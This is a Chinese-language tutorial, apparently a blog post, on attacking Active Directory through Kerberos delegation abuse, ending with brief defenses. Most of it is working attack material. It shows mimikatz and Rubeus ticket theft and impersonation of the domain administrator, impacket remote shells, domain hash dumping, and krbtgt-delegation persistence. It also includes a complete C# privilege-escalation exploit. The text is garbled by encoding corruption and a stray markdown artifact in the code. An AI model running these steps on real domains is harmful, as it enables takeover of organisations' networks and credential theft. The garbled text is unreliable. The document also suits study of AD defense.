委派
委派概述:
域委派是指將域內(nèi)用戶的權(quán)限委派給服務(wù)賬號(hào),使得服務(wù)賬號(hào)能以用戶的權(quán)限在域內(nèi)展開(kāi)活動(dòng)。
簡(jiǎn)言之:當(dāng)A訪問(wèn)服務(wù)B時(shí),服務(wù)B拿著A用戶的憑證去訪問(wèn)服務(wù)C,這個(gè)過(guò)程稱為委派。
委派的方式:
非約束委派和約束委派,基于資源的約束委派。
在域內(nèi)只有主機(jī)賬號(hào)和服務(wù)賬號(hào)才有委派屬性
主機(jī)賬號(hào):活動(dòng)目錄中的computers組內(nèi)的計(jì)算機(jī),也被稱為機(jī)器賬號(hào)。
服務(wù)賬號(hào):域內(nèi)用戶的一種類型,是服務(wù)器運(yùn)行服務(wù)時(shí)所用的賬號(hào),將服務(wù)運(yùn)行起來(lái)加入域內(nèi),比如:SQLServer,MYSQL等;域用戶通過(guò)注冊(cè)SPN也能成為服務(wù)賬號(hào)。
委派的前提:
被委派的用戶不能被設(shè)置為不能被委派屬性。

查找非約束委派的主機(jī)或服務(wù)賬號(hào)(域控默認(rèn)配置非約束委派屬性):
1.利用powersploit中的powerview
Import-Module .\PowerView.ps1;
查詢非約束委派的主機(jī)
Get-NetComputer -Unconstrained -Domain hiro.com
查詢非約束委派的服務(wù)賬號(hào)
Get-NetUser -Unconstrained -Domain hiro.com | select name
2.利用ADFind
查找域中配置非約束委派的用戶
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找域中配置非約束委派的主機(jī)
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找約束委派的主機(jī)或服務(wù)賬號(hào):
1.利用empire中的powerview
Import-Module .\powerview.ps1;
查詢約束委派的主機(jī):
Get-DomainComputer -TrustedToAuth -Domain hiro.com | select name
查詢約束委派的賬號(hào):
Get-DomainUser -TrustedToAuth -Domain hiro.com | select name
2.利用ADFind
查找域中配置約束委派用戶:
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查找域中配置約束委派的主機(jī):
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
非約束委派
大致流程:
user訪問(wèn)serverA,于是向DC發(fā)起認(rèn)證,DC會(huì)檢查serverA的機(jī)器賬號(hào)的屬性,如果是非約束委派的話,會(huì)把用戶的TGT放在ST票據(jù)中并一起發(fā)送給serverA
這樣serverA在驗(yàn)證ST票據(jù)的同時(shí)也獲取到了用戶的TGT,并把TGT儲(chǔ)存在自己的lsass進(jìn)程中以備下次重用,從而serverA就可以使用這個(gè)TGT,來(lái)模擬這個(gè)user訪問(wèn)任何服務(wù)。

從攻擊角度來(lái)說(shuō):如果攻擊者拿到了一臺(tái)配置了非約束委派的機(jī)器權(quán)限,可以誘導(dǎo)管理員來(lái)訪問(wèn)該機(jī)器,然后可以得到管理員的TGT,從而模擬管理員訪問(wèn)任意服務(wù),相當(dāng)于拿下了整個(gè)域環(huán)境。
利用:
域:hiro.com
域控:WIN-KONG IP:192.168.228.10 域管:administrator
受委派機(jī)器:WIN-E6FR4HVBPCI
現(xiàn)在將WIN-E6FR4HVBPCI這個(gè)機(jī)器賬號(hào)設(shè)置為非約束委派。

通過(guò)命令行打開(kāi)adsiedit.msc查看WIN-E6FR4HVBPCI機(jī)器屬性,可以看到:
當(dāng)被設(shè)置為非約束委派的時(shí)候,它的userAccountControl會(huì)包含TRUSTED_FOR_DELEGATION字段。

用域管訪問(wèn)WIN-E6FR4HVBPCI機(jī)器

然后在WIN-E6FR4HVBPCI上以管理員權(quán)限運(yùn)行mimikatz
privilege::debug
導(dǎo)出票據(jù)
sekurlsa::tickets /export

此時(shí)拿到了管理員的票據(jù),用mimikatz將票據(jù)注入內(nèi)存中,然后訪問(wèn)域控
導(dǎo)入票據(jù)
kerberos::ptt [0;11eeaa]-2-0-60810000-Administrator@krbtgt-HIRO.COM.kirbi
查看票據(jù)
kerberos::list

非約束委派+spooler打印機(jī)
費(fèi)約束委派常規(guī)利用感覺(jué)還是比較雞肋,想得到域內(nèi)權(quán)限必須要管理員與配置了委派的機(jī)器建立連接,所以有國(guó)外的大佬研究出了非約束委派+spooler打印機(jī)來(lái)強(qiáng)制與指定的主機(jī)進(jìn)行連接。
開(kāi)始域控為server2012,后面網(wǎng)上有的大佬說(shuō)可能是版本的問(wèn)題,后面升級(jí)到了server2016還是報(bào)錯(cuò),這種情況復(fù)現(xiàn)不了了,有興趣的可以自己試一試。也可以參考這篇文章。

約束委派
由于非約束委派的不安全性,微軟在windows server 2003中引入了約束委派,對(duì)Kerberos協(xié)議進(jìn)行了拓展,引入了S4U,其中S4U支持兩個(gè)子協(xié)議:Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy),這兩個(gè)擴(kuò)展都允許服務(wù)代表用戶從KDC請(qǐng)求票證。S4U2self可以代表自身請(qǐng)求針對(duì)其自身的可轉(zhuǎn)發(fā)的Kerberos服務(wù)票據(jù)(ST1);S4U2proxy可以以用戶的名義請(qǐng)求其它服務(wù)的ST2,約束委派就是限制了S4U2proxy擴(kuò)展的范圍。
其中:
S4U2Self(用用戶的TGT向KDC請(qǐng)求用戶的可轉(zhuǎn)發(fā)的ST1,再用這張ST1去發(fā)起S4U2proxy請(qǐng)求。)
通過(guò)此擴(kuò)展可以拿到一張標(biāo)識(shí)任意用戶身份的ST,它的作用其實(shí)是協(xié)議轉(zhuǎn)換。有時(shí)用戶會(huì)通過(guò)其他協(xié)議(例如NTLM或什至基于表單的身份驗(yàn)證)對(duì)服務(wù)進(jìn)行身份驗(yàn)證,因此他們不會(huì)將TGS發(fā)送給服務(wù)。在這種情況下,服務(wù)可以調(diào)用S4U2Self來(lái)要求身份驗(yàn)證服務(wù)為其自身的任意用戶生成TGS,然后可以在調(diào)用S4U2Proxy時(shí)將其用作依據(jù)。例如網(wǎng)站A服務(wù)器可以使用它去向KDC請(qǐng)求一張用戶B身份的ST1,網(wǎng)站A服務(wù)器再用這張ST1去發(fā)起S4U2proxy請(qǐng)求。
S4U2proxy(拿用戶的可轉(zhuǎn)發(fā)的ST1請(qǐng)求用于訪問(wèn)服務(wù)器的ST2)
該拓展作用是使用一張用戶A身份的ST1去向KDC請(qǐng)求一張用于訪問(wèn)文件服務(wù)器B的ST2,這張ST2的身份還是用戶的,這樣的話網(wǎng)站A就可以利用用戶A的權(quán)限去訪問(wèn)文件服務(wù)器B上的文件了。
大致流程:
user訪問(wèn)serviceA,向DC發(fā)起kerberos認(rèn)證,域控返回user的TGT和ST1票據(jù),user使用ST1票據(jù)對(duì)serviceA進(jìn)行訪問(wèn)
如果配置了serviceA到serviceB的約束委派,則serviceA能使用S4U2Proxy協(xié)議將用戶發(fā)給自己的可轉(zhuǎn)發(fā)的ST1票據(jù)以用戶的身份發(fā)給DC。
域控返回serviceA一個(gè)用來(lái)訪問(wèn)serviceB的ST2票據(jù),這樣serviceA就能以用戶的身份對(duì)serviceB發(fā)起訪問(wèn)。

由于服務(wù)用戶只能獲取某個(gè)用戶(或主機(jī))的服務(wù)的ST1而非TGT,所以只能模擬用戶訪問(wèn)特定的服務(wù),但是如果能拿到約束委派用戶(或主機(jī))的密碼或者Hash,就可以偽造S4U的請(qǐng)求,偽裝成服務(wù)用戶以任意用戶的權(quán)限申請(qǐng)?jiān)L問(wèn)指定服務(wù)的ST2。
利用:
域:hiro.com
域控:WIN-KONG@192.168.228.10 域管:administrator
受委派機(jī)器:WIN-RRI9T9SN85D@192.168.228.15 域用戶:win7
首先在域控上將域用戶win7注冊(cè)成為SPN服務(wù)賬號(hào)
setspn -S cifs/WIN-RRI9T9SN85D.hiro.com win7

查看是否注冊(cè)成功
setspn -L win7

然后將win7用戶設(shè)置約束委派的屬性,為訪問(wèn)域控的cifs(訪問(wèn)文件夾)

通過(guò)命令行打開(kāi)adsiedit.msc查看win7用戶屬性,可以看到:
當(dāng)被設(shè)置為約束委派的時(shí)候,它的userAccountControl會(huì)包含TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION字段。

并且比非約束委派的賬戶多了msDS-AllowedToDelegateTo字段,里面包含了允許委派的服務(wù)

當(dāng)知道win7這個(gè)服務(wù)用戶的明文密碼或者Hash時(shí),可以用kekeo請(qǐng)求它的TGT
擁有明文密碼
tgt::ask /user:win7 /domain:hiro.com /password:123456QWE.
擁有賬戶的Hash
tgt::ask /user:win7 /domain:hiro.com /NTLM:xxxx


PS:如果既不知道明文也不知道Hash,如果有了服務(wù)用戶登錄的主機(jī)權(quán)限,可以用mimikatz從內(nèi)存中把服務(wù)用戶的TGT dump下來(lái)照樣可以實(shí)現(xiàn)
從內(nèi)存中導(dǎo)出所有票據(jù)
sekurlsa::tickets /export

然后通過(guò)win7的TGT偽造s4u請(qǐng)求以administrator身份請(qǐng)求訪問(wèn)WIN-KONG cifs的ST
tgs::s4u /tgt:TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi /user:Administrator@hiro.com /service:cifs/WIN-KONG.hiro.com


用mimikatz將票據(jù)導(dǎo)入內(nèi)存中
kerberos::ptt TGS_Administrator@hiro.com@HIRO.COM_cifs~WIN-KONG.hiro.com@HIRO.COM.kirbi

訪問(wèn)域控:

約束委派請(qǐng)求過(guò)程:
tgt::ask /user:win7 /domain:hiro.com /password:123456QWE.
AS-REQ
以用戶win7請(qǐng)求TGT

AS-REP
AS返回用戶win7的TGT,也就是得到了TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi

tgs::s4u /tgt:TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi /user:Administrator@hiro.com /service:cifs/WIN-KONG.hiro.com
TGS-REQ
win7用戶用上一步得到的TGT,用上S4U2Self協(xié)議,以administrator的名義向TGS申請(qǐng)一張?jiān)L問(wèn)自身服務(wù)并且可轉(zhuǎn)發(fā)的ST1票據(jù)。

TGS-REP
TGS返回administrator的ST1票據(jù)給win7

TGS-REQ
win7用戶拿到了administrator的ST1票據(jù)后,win7帶上這張可轉(zhuǎn)發(fā)的訪問(wèn)自身服務(wù)的票據(jù)
,用上S4U2Proxy協(xié)議,以administrator用戶的名義請(qǐng)求一張?jiān)L問(wèn)WIN-KONG的CIFS服務(wù)的ST2票據(jù)

TGS-REP
TGS返回以administrator用戶訪問(wèn)WIN-KONG的CIFS服務(wù)的票據(jù),也就是得到了TGS_Administrator@hiro.com@HIRO.COM_cifs~WIN-KONG.hiro.com@HIRO.COM.kirbi

通過(guò)流程可以看出,第一步生成的可轉(zhuǎn)發(fā)的ST1只是為了請(qǐng)求第二步以administrator用的名義請(qǐng)求一張?jiān)L問(wèn)WIN-KONG的CIFS服務(wù)的ST2票據(jù)。
利用約束委派權(quán)限維持
通過(guò)約束委派生成黃金票據(jù)
TGT由krbtgt Hash加密,如果能通過(guò)委派krbtgt服務(wù),那么就能偽造任意用戶的TGT了。
由于krbtgt默認(rèn)是禁用的,所以無(wú)法使用頁(yè)面添加它的SPN。
域控通過(guò)powershell添加win7到krbtgt的約束委派:
powershell -exec bypass
Import-Module ActiveDirectory
$user = Get-ADUser win7 (win7為設(shè)置為約束委派的服務(wù)賬號(hào))
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/hiro.com") }

利用impacket套件攻擊
偽造administrator的TGT
python3 getST.py -dc-ip 192.168.228.10 -spn krbtgt/hiro.com -impersonate administrator hiro.com/win7:123456QWE.
導(dǎo)入票據(jù)
export KRB5CCNAME=administrator.ccache
用wmiexec彈出一個(gè)權(quán)限為administrator交互式的shell
python3 wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 192.168.228.10
導(dǎo)出域內(nèi)哈希
python3 secretsdump.py -no-pass -k WIN-KONG.hiro.com
基于資源的約束委派
傳統(tǒng)的委派,在設(shè)置的過(guò)程中其實(shí)都是需要SeEnableDelegation特權(quán),而這個(gè)特權(quán)需要域管理員才能設(shè)置。相對(duì)于傳統(tǒng)的委派,基于資源的約束委派它不需要域管理員設(shè)置,而是機(jī)器本身。
約束委派和基于資源的約束委派的區(qū)別:
前者:通過(guò)服務(wù)A委派到服務(wù)B,實(shí)際是在服務(wù)A上增加TRUSTED_FOR_DELEGATION字段(非約束委派),TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION和msDS-AllowedToDelegateTo (約束委派)字段來(lái)達(dá)到委派的目的。
后者:通過(guò)服務(wù)B允許服務(wù)A委派到服務(wù)B,實(shí)際是通過(guò)服務(wù)B自身賦予msDS-AllowedToActOnBehalfOfOtherIdentity字段,從而允許服務(wù)A對(duì)服務(wù)B的基于資源的約束委派。
所以當(dāng)利用到基于資源的約束委派的時(shí)候,服務(wù)A的兩個(gè)字段是沒(méi)有賦值的,當(dāng)這兩個(gè)字段沒(méi)有被賦值的時(shí)候,通過(guò)S4U2Self得到的ST服務(wù)票證是不可被轉(zhuǎn)發(fā)的,而S4U2Proxy的作用就是將可轉(zhuǎn)發(fā)的ST票據(jù)轉(zhuǎn)發(fā)到其他服務(wù)進(jìn)行委派認(rèn)證。但是:在基于資源的約束委派過(guò)程中,不可轉(zhuǎn)發(fā)的ST仍可以通過(guò)S4U2Proxy轉(zhuǎn)發(fā)到其他服務(wù)進(jìn)行委派認(rèn)證,并且最后還會(huì)返回一張可轉(zhuǎn)發(fā)的ST服務(wù)票證。
因此,如果能夠在服務(wù)B上配置允許服務(wù)A的基于資源的約束委派,那么就可以通過(guò)控制服務(wù)A使用S4U2Self向域控請(qǐng)求任意用戶訪問(wèn)自身的服務(wù)票據(jù),最后再使用S4U2Proxy轉(zhuǎn)發(fā)此ST1票據(jù)去請(qǐng)求訪問(wèn)服務(wù)B的可轉(zhuǎn)發(fā)的ST2服務(wù)票據(jù),就可以模擬任意用戶訪問(wèn)服務(wù)B了。這里可以以普通域用戶的身份去創(chuàng)建機(jī)器賬號(hào)作為服務(wù)A。
條件
利用基于資源的約束委派(RBCD)需要2個(gè)條件:
1.擁有將域機(jī)器加入域的域用戶的權(quán)限。(將機(jī)器B加入域的域用戶擁有修改機(jī)器B的msDS-AllowedToActOnBehalfOfOtherIdentity屬性的權(quán)限。)
2.一個(gè)任意服務(wù)賬戶或者一個(gè)機(jī)器賬戶(每一個(gè)域用戶默認(rèn)可以添加10個(gè)機(jī)器賬戶,可以通過(guò)LDAP中的MAQ屬性查看)

利用:
域:hiro.com
域控:WIN-KONG@192.168.228.10 域管:administrator
域內(nèi)機(jī)器:DESKTOP-P34E60A,win10把這臺(tái)機(jī)器加入到域內(nèi)
通過(guò)ADFind查找將域機(jī)器拉入域的用戶的SID:
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

查看S-1-5-21-3105699010-1460039537-418241315-1118是誰(shuí):
AdFind.exe -b "DC=hiro,DC=com" -f "(&(objectsid=S-1-5-21-3105699010-1460039537-418241315-1118))" objectclass cn dn

假如現(xiàn)在已經(jīng)拿到了把DESKTOP-P34E60A這臺(tái)機(jī)器加入域的用戶win10的權(quán)限
使用whoami /all查詢當(dāng)前用戶的sid

同樣可以通過(guò)用戶的sid查看哪些域機(jī)器是通過(guò)自己加入到域內(nèi)的:
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3105699010-1460039537-418241315-1118))" cn sAMAccountType objectCategory

如果一個(gè)機(jī)器賬號(hào)沒(méi)有mS-DS-CreatorSID,那么他是被域管拉入到域內(nèi)的
利用powermad添加機(jī)器賬戶:(https://github.com/Kevin-Robertson/Powermad)
Import-Module .\Powermad.ps1
以win10用戶創(chuàng)建一個(gè)域機(jī)器名為win10system,密碼為win10
New-MachineAccount -MachineAccount win10system -Password $(ConvertTo-SecureString "win10" -AsPlainText -Force)

驗(yàn)證是否創(chuàng)建成功:
net group "domain computers" /do

查詢添加機(jī)器的SID:
1.域控上查詢:
dsquery computer | dsget computer -dn -sid

或者powershell運(yùn)行Get-ADComputer win10system

2.域機(jī)器上查詢:(使用empire下的powerview)
Import-Module .\powerview.ps1
Get-DomainComputer -Identity win10system

win10用戶設(shè)置win10system到DESKTOP-P34E60A的基于資源的約束委派(使用empire下的powerview)
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3105699010-1460039537-418241315-1151)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DESKTOP-P34E60A| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

檢查是否配置成功
Get-DomainComputer DESKTOP-P34E60A -Properties msds-allowedtoactonbehalfofotheridentity

攻擊完成清除基于資源的約束委派配置:
Set-DomainObject DESKTOP-P34E60A -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
也可以在域控上通過(guò)命令行打開(kāi)adsiedit.msc查看CN=DESKTOP-P34E60A機(jī)器屬性,可以看到:
當(dāng)被設(shè)置為基于資源的約束委派的時(shí)候,它的msds-allowedtoactonbehalfofotheridentity會(huì)包含有效字段。

現(xiàn)在已經(jīng)配置好利用條件就可以通過(guò)基于資源的約束委派進(jìn)行攻擊了
1.使用rubues獲取票據(jù)
Rubeus.exe hash /user:win10system /password:win10 /domain:hiro.com

Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/DESKTOP-P34E60A /ptt


2.使用impacket套件獲取
python3 getST.py -dc-ip 192.168.228.10 -spn cifs/DESKTOP-P34E60A -impersonate administrator hiro.com/win10system$:win10
set KRB5CCNAME=administrator.ccache
python3 wmiexec.py -no-pass -k administrator@DESKTOP-P34E60A.hiro.com -dc-ip 192.168.228.10
利用基于資源的約束委派進(jìn)行權(quán)限維持
跟約束委派利用相似,可以配置win10system到krbtgt的基于資源的約束委派,只要有了win10system的權(quán)限,就能偽造任意用戶請(qǐng)求krbtgt服務(wù),則可以請(qǐng)求到任意用戶的TGT
在域控上執(zhí)行:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3105699010-1460039537-418241315-1151)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
可以看到brbtgt的msds-allowedtoactonbehalfofotheridentity會(huì)包含有效字段。

1.使用rubeus偽造administrator請(qǐng)求TGT
Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:krbtgt /ptt

klist查看緩存票證

訪問(wèn)域控

2.同樣的也能用impacket套件
python3 getST.py -dc-ip 192.168.228.10 -spn krbtgt -impersonate administrator hiro.com/win10system$:win10
set KRB5CCNAME=administrator.ccache
python3 wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 192.168.228.10
基于資源的約束委派(爛番茄)
基于資源的約束委派通過(guò)修改自身msDS-AllowedToActOnBehalfOfOtherIdentity字段達(dá)到委派的目的,默認(rèn)把這臺(tái)域機(jī)器拉入域的域用戶有這個(gè)權(quán)限,還有誰(shuí)有?
因?yàn)閑vil這臺(tái)機(jī)器通過(guò)07用戶拉入域內(nèi),通過(guò)AdFind遍歷evil的ACL,通過(guò)write篩選對(duì)其具有寫(xiě)權(quán)限的用戶。
AdFind -b "CN=evil,CN=Computers,DC=redteam,DC=lab" -s base nTSecurityDescriptor -sddl++ -resolvesids | findstr "write”

可以看到不只是07這個(gè)用戶,SYSTEM權(quán)限的用戶也對(duì)這個(gè)對(duì)象具有寫(xiě)的權(quán)限。
攻擊面:通過(guò)iis等以服務(wù)權(quán)限起的域用戶拿到當(dāng)前域機(jī)器最高權(quán)限。
(https://docs.microsoft.com/en-us/iis/manage/configuring-security/application-pool-identities)官方文檔中明確表示iis等服務(wù)用戶以機(jī)器賬號(hào)(SYSTEM)請(qǐng)求網(wǎng)絡(luò)資源。官方文檔中明確表示iis等服務(wù)用戶以機(jī)器賬號(hào)(SYSTEM)請(qǐng)求網(wǎng)絡(luò)資源。)

這樣會(huì)導(dǎo)致一個(gè)非常嚴(yán)重的問(wèn)題:不止于iis,所有低權(quán)限服務(wù)(例如network service這類型的本機(jī)服務(wù))都是以機(jī)器賬戶身份去請(qǐng)求的域內(nèi)資源。利用這一特性可以直接使其連接到域控的ldap設(shè)置基于當(dāng)前機(jī)器的基于資源的約束委派,造成當(dāng)前域機(jī)器淪陷。
演示
前面已知:
- 域內(nèi)用戶默認(rèn)可以創(chuàng)建十臺(tái)域機(jī)器。
- 低權(quán)限服務(wù)(例如network service這類型的本機(jī)服務(wù))都是以機(jī)器賬戶身份請(qǐng)求域內(nèi)資源。
- 機(jī)器賬號(hào)對(duì)其本身有WriteProperty權(quán)限。
當(dāng)前環(huán)境:
- 在域內(nèi)域機(jī)器web2008上存在iis服務(wù),攻擊者拿到webshell后發(fā)現(xiàn)當(dāng)前權(quán)限為iis,但是此用戶依然是域用戶,可以創(chuàng)建機(jī)器賬號(hào);
- iis以機(jī)器賬戶請(qǐng)求域內(nèi)資源,對(duì)其機(jī)器本身有WriteProperty權(quán)限,可以設(shè)置自身的msDS-AllowedToActOnBehalfOfOtherIdentity字段來(lái)設(shè)置基于資源的約束委派。
所以可以利用web2008創(chuàng)建域機(jī)器(此處為evilpc),并通過(guò)writelproperty設(shè)置evilpc到其的基于資源的約束委派。

通過(guò)查看LDAP確定是否設(shè)置成功


python3 getST.py -dc-ip 192.168.129.130 redteam/evilpc\$:123456 -spn cifs/web2008.redteam.lab -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k redteam/administrator@web2008.redteam.lab
EXP
ATEAM的demo:https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/
using System;
using System.Text;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Net;
namespace Addnew_MachineAccount
{
class Program
{
static void Main(string[] args)
{
String DomainController = "192.168.129.130";
String Domain = "redteam.lab";
//String username = args[0]; //域用戶名
//String password = args[1]; //域用戶密碼
String new_MachineAccount = "evilpc"; //添加的機(jī)器賬戶
String new_MachineAccount_password = "123456"; //機(jī)器賬戶密碼
String victimcomputer = "web2008"; //需要進(jìn)行提權(quán)的機(jī)器
String victimcomputer_ldap_path = "LDAP://CN=web2008,CN=Computers,DC=redteam,DC=lab";
String machine_account = new_MachineAccount;
String sam_account = machine_account + "$";
//machine_account="evilpc";
//sam_account="evilpc$";
String distinguished_name = "";
String[] DC_array = null;
distinguished_name = "CN=" + machine_account + ",CN=Computers";
//distinguished_name=CN=evilpc,CN=computers;
DC_array = Domain.Split('.');
foreach (String DC in DC_array)
{ //DC=redteam
//DC=lab
distinguished_name += ",DC=" + DC;
//distinguished_name=CN=evilpc,CN=computers,DC=redtram,DC=lab
}
Console.WriteLine("[+] Elevate permissions on " + victimcomputer); //[+] Elevate permissions on web2008
Console.WriteLine("[+] Domain = " + Domain); //[+] Domain = redteam.lab
Console.WriteLine("[+] Domain Controller = " + DomainController); //[+] Domain Controller = 192.168.129.130
[//Console.WriteLine](//Console.WriteLine)("[+] New SAMAccountName = " + sam_account);
[//Console.WriteLine](//Console.WriteLine)("[+] Distinguished Name = " + distinguished_name);
//連接ldap
System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
//NetworkCredential nc = new NetworkCredential(username, password); //使用憑據(jù)登錄
System.DirectoryServices.Protocols.LdapConnection connection = null;
//connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
//域控不允許在未加密的鏈接中創(chuàng)建計(jì)算機(jī)用戶"。那么上面給的代碼為什么是去連接域控389端口(ldap)而不是去連接636端口(ldaps)創(chuàng)建呢?答案是:ldaps需要配置證書(shū)才能使用,在默認(rèn)環(huán)境下就不能正常工作,而ldap只要將Sealing屬性設(shè)置為ture則可以用sasl加密連接。
connection.SessionOptions.Sealing = true;
connection.SessionOptions.Signing = true;
connection.Bind();
var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account +"."+ Domain),
new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/"+machine_account+"."+Domain,"RestrictedKrbHost/"+machine_account+"."+Domain,"HOST/"+machine_account,"RestrictedKrbHost/"+machine_account)
});
try
{
//添加機(jī)器賬戶
connection.SendRequest(request);
Console.WriteLine("[+] Machine account: " + machine_account + " Password: " + new_MachineAccount_password + " added");
}
catch (System.Exception ex)
{
Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
Console.WriteLine("[-] Exception: " + ex.Message);
return;
}
// 獲取新計(jì)算機(jī)對(duì)象的SID
var new_request = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
SecurityIdentifier sid = null;
foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
{
try
{
sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value);
}
catch
{
Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
return;
}
}
//設(shè)置資源約束委派
System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry("redteam.lab");
myldapConnection.Path = victimcomputer_ldap_path;
myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
//通過(guò)ldap找計(jì)算機(jī)
search.Filter = "(CN=" + victimcomputer + ")";
string[] requiredProperties = new string[] { "samaccountname" };
foreach (String property in requiredProperties)
search.PropertiesToLoad.Add(property);
System.DirectoryServices.SearchResult result = null;
try
{
result = search.FindOne();
}
catch (System.Exception ex)
{
Console.WriteLine(ex.Message + "Exiting...");
return;
}
if (result != null)
{
System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();
String sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
byte[] descriptor_buffer = new byte[sd.BinaryLength];
sd.GetBinaryForm(descriptor_buffer, 0);
// 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Value = descriptor_buffer;
try
{
entryToUpdate.CommitChanges();//提交更改
Console.WriteLine("[+] Exploit successfully!");
}
catch (System.Exception ex)
{
Console.WriteLine(ex.Message);
Console.WriteLine("[!] \nFailed...");
return;
}
}
}
}
}
防御:
1.高權(quán)限賬號(hào)設(shè)置禁止委派屬性

2.微軟推出了protected users組,組內(nèi)用戶不允許被委派,適用于Windows Server 2016,Windows Server 2012 R2、 Windows Server 2012
Protected Users 組中的帳戶只能使用 Kerberos 協(xié)議進(jìn)行身份驗(yàn)證,拒絕 NTLM、Digest 和 CredSSP。
Kerberos 拒絕使用 DES 和 RC4 加密類型進(jìn)行預(yù)身份驗(yàn)證 ,域必須配置為支持 AES 或更高版本。
受保護(hù)用戶的帳戶不能通過(guò) Kerberos 約束或無(wú)約束委派進(jìn)行委派。

3.kerberos預(yù)認(rèn)證不使用DES或RC4等加密算法(盡量使用AES256)同樣能夠預(yù)防Kerberoast攻擊
參考
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/

浙公網(wǎng)安備 33010602011771號(hào)